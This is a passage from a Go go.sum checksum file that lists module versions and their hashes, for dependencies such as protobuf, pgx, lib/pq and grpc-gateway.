github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y= github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho= github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 h1:Rme6CE1aUTyV9WmrEPyGf1V+7W3iQzZ1DZkKnT6z9B0= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0/go.mod h1:Hbb13e3/WtqQ8U5hLGkek9gJvBLasHuPFI0UEGfnQ10= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/imdario/mergo v0.3.13 h1:lFzP57bqS/wsqKssCGmtLAb8A0wKjLGrve2q3PPVcBk= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/influxdata/influxdb-client-go/v2 v2.13.0 h1:ioBbLmR5NMbAjP4UVA5r9b5xGjpABD7j65pI8kFphDM= github.com/influxdata/influxdb-client-go/v2 v2.13.0/go.mod h1:k+spCbt9hcvqvUiz0sr5D8LolXHqAAOfPw9v/RIRHl4= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA= github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE= github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s= github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o= github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY= github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI= github.com/jackc/pgconn v1.14.3 h1:bVoTr12EGANZz66nZPkMInAV/KHD2TxH9npjXXgiB3w= github.com/jackc/pgconn v1.14.3/go.mod h1:RZbme4uasqzybK2RK5c65VsHxoyaml09lx3tXOcO/VM= github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE= github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8= github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE= github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c= github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5Wi/+Zz7xoE5ALHsRQlOctkOiHc= github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= github.com/jackc/pgproto3/v2 v2.3.3 h1:1HLSx5H+tXR9pW3in3zaztoEwQYRC9SQaYUHjTSUOag= github.com/jackc/pgproto3/v2 v2.3.3/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E= github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk= github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM= github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg= github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc= github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw= github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM= github.com/jackc/pgtype v1.14.0 h1:y+xUdabmyMkJLyApYuPj38mW+aAIqCe5uuBB51rH3Vw= github.com/jackc/pgtype v1.14.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4= github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y= github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM= github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc= github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs= github.com/jackc/pgx/v4 v4.18.2 h1:xVpYkNR5pk5bMCZGfClbO962UIqVABcAGt7ha1s/FeU= github.com/jackc/pgx/v4 v4.18.2/go.mod h1:Ey4Oru5tH5sB6tV7hDmfWFahwF15Eb7DNXlRKx2CkVw= github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= github.com/jaswdr/faker v1.16.0 h1:5ZjusQbqIZwJnUymPirNKJI1yFCuozdSR9oeYPgD5Uk= github.com/jaswdr/faker v1.16.0/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY/yi6w= github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/juju/gnuflag v0.0.0-20171113085948-2ce1bb71843d/go.mod h1:2PavIy+JPciBPrBUjwbNvtwB6RQlve+hkpll6QSNmOE= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mattn/goveralls v0.0.11 h1:eJXea6R6IFlL1QMKNMzDvvHv/hwGrnvyig4N+0+XiMM= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007 h1:28i1IjGcx8AofiB4N3q5Yls55VEaitzuEPkFJEVgGkA= github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo= github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d/go.mod h1:IuKpRQcYE1Tfu+oAQqaLisqDeXgjyyltCfsaoYN18NQ= github.com/nsf/termbox-go v1.1.1 h1:nksUPLCb73Q++DwbYUBEglYBRPZyoXJdrj5L+TkjyZY= github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= github.com/oapi-codegen/runtime v1.0.0 h1:P4rqFX5fMFWqRzY9M/3YF9+aPSPPB06IzP2P7oOxrWo= github.com/oapi-codegen/runtime v1.0.0/go.mod h1:LmCUMQuPB4M/nLXilQXhHw+BLZdDb18B34OO356yJ/A= github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/olekukonko/tablewriter v0.0.5 